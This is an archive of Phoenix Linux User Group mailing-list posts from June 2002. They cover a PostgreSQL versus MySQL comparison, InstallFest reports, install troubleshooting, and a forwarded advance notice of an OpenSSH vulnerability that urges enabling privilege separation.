plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:35:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 19:35:43 -0700 Subject: Post press release started? In-Reply-To: References: Message-ID: <1024972543.3d17d6ff5913d@webmail.freedom2surf.net> Quoting alandd@mindspring.com: > I think we need to get a celebratory press release out really soon. The > interest of the news in a press release goes down rapidly every day after > the > even. I think we need to post one by tomorrow. Has someone started one? > > Alan > OK, here's a crude start. Someone help round it out and find a good photo we can send along with it - Something tightly cropped showing a PLUG member helping with an install would be good. Dennis ========================================. The Phoenix Linux User Group "InstallFest" a success says organizer!! Held at SCC this past Saturday from 10am to 4pm "People came early and stayed to learn about Linux and install it on their computer with the help of a PLUG member." said Bill Lindley the InstallFest co-ordinator. In all 39 installations were done on a wide variety of hardware. It was a great experience" said WS of Goodyear, "There was always someone willing to answer my questions about Linux." Linux is the free OS that offers an alternative the Apple and Microsoft. Joining the PLUG members were representaives from redhat, Lycoris, There were plenty of door prizes, too. Plug has monthly eastside and westside meetings. Those new to Linux are welcome.~ ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:56:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Mon, 24 Jun 2002 21:56:25 -0500 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <20020625005208.GA31017@aries.evilmascot.com>; from kyle@kyleo.net on Mon, Jun 24, 2002 at 05:52:08PM -0700 References: <3D17AC36.8020104@deru.com> <20020625005208.GA31017@aries.evilmascot.com> Message-ID: <20020624215625.A70178@lilly.csoft.net> Yes, OpenBSD has sshd running by default. In fact, I have often wondered why they never included something like "ALL:ALL" in a /etc/hosts.deny file. v/r Mike On Mon, Jun 24, 2002 at 05:52:08PM -0700, Kyle O'Malley wrote: I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Mon, 24 Jun 2002 20:00:59 -0700 (PDT) Subject: Kernal Panic fix for Mandrake 8.2 Install Message-ID: <20020625030059.49339.qmail@web20602.mail.yahoo.com> To those who were at the InstallFest: I went to the InstallFest to get help on my problem with loading Mandrake 8.2. People helped as much as they could, but I came up with no solutions. I have a ProStar 5190S laptop which PREVIOUSLY had Mandrake 7.2 on it. Now, . . . I have Mandrake 8.2 loaded on it. For those of you who MAY have a problem loading Mandrake 8.2 on your computer/laptop and you come up with a "Kernel Panic" error on install. When it comes to the Pre-Install screen. Go to help and type in linux(expert) and the amount of memory you have. Seemingly, Mandrake 8.2 had an issue with recognizing the amount of RAM I had. I had to specify it. After that, . . . it loaded PERFECTLY. :-). To those that helped me, thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:09:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 24 Jun 2002 20:09:04 -0700 Subject: Install Fest Leftovers References: <02062411335104.07972@nova.wedge.org> Message-ID: <3D17DED0.20100@earthlink.net> I'd like to get my stuff back. Can I arrange a time to pick them up? 2 - AT Style keyboards 1 - Serial Mouse 1- PS/2 Mouse 1 - 16 port 10BaseT hub. Thanks, Ben Chacko Jim wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >OK - I have two meeses and a keyboard and two multiport hubs that I took home >from the Install Fest. The owners can either claim them (I know who you are) >or rest assured that they have found a good home. >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak >uK4OiqqB4g+PwczG1TTkv5du >=J8I2 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Mon, 24 Jun 2002 20:41:39 -0700 Subject: Linux At Work Message-ID: <001e01c21bfa$37703670$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Report from Work. Today our office got hit with a virus of some kind, I'm not sure exacty = the mechanism, but the SonicWall cut everyone off from the internet for = 15-20 minutes and since most of what we do requires constant acces to = the web, every one had to stop working, everyone but me that is as I was = using my linux work station. Regards, Charlie ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
New Report from Work.
 
Today our office got hit with a virus = of some kind,=20 I'm not sure exacty the mechanism, but the SonicWall cut everyone off = from the=20 internet for 15-20 minutes and since most of what we do requires = constant acces=20 to the web, every one had to stop working, everyone but me that is as I = was=20 using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_001B_01C21BBF.8A2AA7F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:12:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 24 Jun 2002 21:12:34 -0700 (MST) Subject: PostgreSQL versus MySQL (fwd) Message-ID: In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:20:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 21:20:00 -0700 Subject: Linux At Work References: <001e01c21bfa$37703670$6400a8c0@amd1000> Message-ID: <001c01c21bff$9277cb50$2f7c0d82@peyote> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable nice job, "BRAVO"!!!!!=20 so my guess, is that upper management has a slighty different view on = Linux now. but then again thats exactly what i would expect to happen in = a situation like that. slr ----- Original Message -----=20 From: Charlie Bullen=20 To: plug-discuss@lists.plug.phoenix.az.us=20 Sent: Monday, June 24, 2002 8:41 PM Subject: Linux At Work New Report from Work. Today our office got hit with a virus of some kind, I'm not sure = exacty the mechanism, but the SonicWall cut everyone off from the = internet for 15-20 minutes and since most of what we do requires = constant acces to the web, every one had to stop working, everyone but = me that is as I was using my linux work station. Regards, Charlie ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
nice job, "BRAVO"!!!!!
so my guess, is that upper=20 management has a slighty different view on Linux now. but then = again thats=20 exactly what i would expect to happen in a situation like = that.
 
slr
----- Original Message -----
From:=20 Charlie=20 Bullen
To: plug-discuss@lists.= plug.phoenix.az.us=20
Sent: Monday, June 24, 2002 = 8:41 PM
Subject: Linux At Work

New Report from Work.
 
Today our office got hit with a virus = of some=20 kind, I'm not sure exacty the mechanism, but the SonicWall cut = everyone off=20 from the internet for 15-20 minutes and since most of what we do = requires=20 constant acces to the web, every one had to stop working, everyone but = me that=20 is as I was using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_0019_01C21BC4.E5ECB330-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 05:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 22:08:17 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: References: Message-ID: <15639.64193.770462.651095@bela.interhack.net> Thanks to those who responded on the question of PostgreSQL versus MySQL. I was not aware that PostgreSQL was as fully developed as it is. As it happens, the application we have in mind is actually fairly simple, so either one is adequate, and since the people I'm working with favor PostgreSQL, and it's already available on their systems, that's what it will be. That's great, because I get to learn something new I can add to my resumé! -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:01:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 24 Jun 2002 23:01:04 -0700 Subject: PLUG searchable database In-Reply-To: <15639.64193.770462.651095@bela.interhack.net> References: <15639.64193.770462.651095@bela.interhack.net> Message-ID: <200206242301.05046.alandd@mindspring.com> The searchable PLUG email archives were hosted at www.aztechbiz.com. This site is no longer up. Did the searchable database get hosted somewhere else? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:03:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 18:03:11 -0700 Subject: Another Linux at Work story Message-ID: <200206211803.11628.wokan@cox.net> My boss came in to ask me for some info from our site and I happened to have a SQL interface up in my window. He'd never seen Window-shade mode before (and we both tend to work with a lot of windows "open"), much less Linux on a desktop, so when he asked if I could set up his computer to do that, I told him to let me convert more of my work to be done on my Linux system before I dove into teaching him a new OS. He said he really didn't want to learn anything new. He works with a lot of spreadsheets, so I explained the biggest difference would be that OpenOffice tends to use semi-colons where Excel uses commas in formulas. Turns out he doesn't even use functions for most of what he does. He just sends a bunch of figures out to the head office and lets them do all the crunching. I figure with a few more lockups in Excel, or IE freezes, or another large batch of infected email warnings comes in (thankfully the hosts keep the scanner up-to-date), and we've got a ready and eager convert on our hands. (Now if I could just find myself an MS SQL Enterprise Manager that runs on Linux. Maybe with wine...) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 24 Jun 2002 23:47:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <1024987633.29452.248.camel@hawk> hmmmm... I think I remember Eric posting that they had to change domain names. (though I don't remember what it was changed *to* sorry). Carl P. On Mon, 2002-06-24 at 23:01, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. This > site is no longer up. Did the searchable database get hosted somewhere else? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 24 Jun 2002 23:45:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <200206242345.12327@granroth.org> On Monday 24 June 2002 11:01 pm, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. > This site is no longer up. Did the searchable database get hosted > somewhere else? This isn't an answer to your question, but I always do searches on the PLUG archives using google. I just append "site:pluglist.mybutt.net" and it's as good as having a Search feature right on the email archives. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Mon, 24 Jun 2002 23:45:00 -0700 Subject: RH 7.3 Message-ID: <3D18116C.1040804@cox.net> Just installed RedHat 7.3 on a Dell Inspiron 8000 Laptop. Technically it's a work Laptop, so I still need to dual boot with win2k. :-( I already had win2k installed on a small partition. Install went super smooth. During install they post all sorts of trivia and stuff. Useless but still very polished and well done. Install Auto-configured grub to dual boot with win2k. Install Auto detected Linksys Wireless card - didn't even have to enter essid or channel. Not sure if it detected Nvidia GeForce Go chipset as I manually set up the latest nvidia drivers. Funny thing, after installing the kernal rpm it gave a message to the effect of "Tainting kernel with non-GPL module - success" hehe.... Anyway, just thought I'd post an outstanding install experience. I was really impressed how polished and smooth it was. Now I'm gonna try out some of the new goodies... From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 07:46:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 25 Jun 2002 00:46:16 -0700 (PDT) Subject: Linux At Work In-Reply-To: <001c01c21bff$9277cb50$2f7c0d82@peyote> Message-ID: <20020625074616.62236.qmail@web13904.mail.yahoo.com> I second this. That is just beautiful! mike --- slr wrote: > nice job, "BRAVO"!!!!! > so my guess, is that upper management has a slighty > different view on Linux now. but then again thats > exactly what i would expect to happen in a situation > like that. > > slr > ----- Original Message ----- > From: Charlie Bullen > To: plug-discuss@lists.plug.phoenix.az.us > Sent: Monday, June 24, 2002 8:41 PM > Subject: Linux At Work > > > New Report from Work. > > Today our office got hit with a virus of some > kind, I'm not sure exacty the mechanism, but the > SonicWall cut everyone off from the internet for > 15-20 minutes and since most of what we do requires > constant acces to the web, every one had to stop > working, everyone but me that is as I was using my > linux work station. > > Regards, > > > Charlie > __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 12:26:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Tue, 25 Jun 2002 05:26:02 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D18615A.D1189BFD@cox.net> FWIW The idiot's name was actually David Grundman, the saguaro sent him to his just reward in 1982, and the song was performed by the Austin Lounge Lizards. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 13:03:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 06:03:50 -0700 Subject: The Ballad of David Grunman In-Reply-To: <3D18615A.D1189BFD@cox.net> References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D18615A.D1189BFD@cox.net> Message-ID: <1025010230.3d186a366ff13@webmail.freedom2surf.net> Quoting Lee Einer : > FWIW > > The idiot's name was actually David Grundman, the saguaro sent him to > his just reward in 1982, and the song was performed by the Austin > Lounge Lizards. > -- > Lee Einer Thanks Lee. Having the spelling right (name changed to protect from law suits?) brought uo a number of references on Google. Dennis PS - I checked out your site, you do nice work. ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:02:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Mon, 24 Jun 2002 18:02:20 -0400 Subject: Test Message-ID: This is a test of the National Emailing System. This is only a test. Thank you BEEEEEEEP. This concludes my test, Thank you. jon k. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 24 Jun 2002 10:26:01 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <3D175629.9040900@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address(linux@esaravna.com), rather than as my aliased e-mail address(adrenaline@esaravana.com) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:41:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Igor) Date: Mon, 24 Jun 2002 23:41:12 -0700 Subject: please, help her Message-ID: <3D181088.FF6BA22@telocity.com> Hi I've found your e-mail address on this page http://plug.phoenix.az.us/ I've have a friend in Phoenix who is fed up with stability of the WINDOWS and constant fight with the VIRUSES. ( she lost alle-mails, family photos etc etc ) I've suggested her to try LINUX...but, unfortunately, she does not know to install it by her self... Personally, I think, installing mandrake should not be a problem but this is another story... so, can you help her out ? or perhaps some of your friends ? running REALPLAYER is a MUST (+ mozilla 1.0) Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is on her box right now) her address: MaryPat McDonald mpmcd@qwest.net or usamacka@hotmail.com Regards Igor P.S.: I can not help her, because I live in San Jose, California (Silicon Valley) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:18:18 -0700 Subject: First Crack at a Post Mortem Message-ID: <20020624182048.5CF611BD74@autumn.unitywave.com> I am including it. I will put this up on the main Install Fest page, before the Press Release when everyone agrees that this is appropriate. I am also going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. Lemme know what you think of this as a post mortem. ---------- Does the word "success" ring a bell? Parking Lot A at SCC was nearly deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 a.m. the Turquoise Room was filled with PLUG members setting up the room for an unknown number of "customers". I was under the impression that all of our communications with the outside world said that the Install Fest would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from coming in early - or often.

The only problem that we encountered was finding table space to put all of the machines that were brought in to have Linux installed on. It seemed to me that by 10:30 or 11:00 we were scrambling to find a place for a customer and his PLUG installer to set up. That problem continued well into the afternoon hours. That was about the only problem that we encountered. Okay, there was a need for a blank floppy for a network install but who uses floppies any more?

There seemed to always be PLUG members ready and willing to help with the next install. During those "down" times, they spent a lot of time answering questions and helping to resolve issues. The presentations that were held in the Peridot Room seemed to go very well. I overheard a lot of comments and they were all extremely positive. The giveaways, as always, went over very well. Without the support of the vendors, we would never be able to show the newbies that Linux is about giving and sharing by giving away so many goodies. Only the RMS video in the hallway met with less than stellar success, but that may be a result of the location.

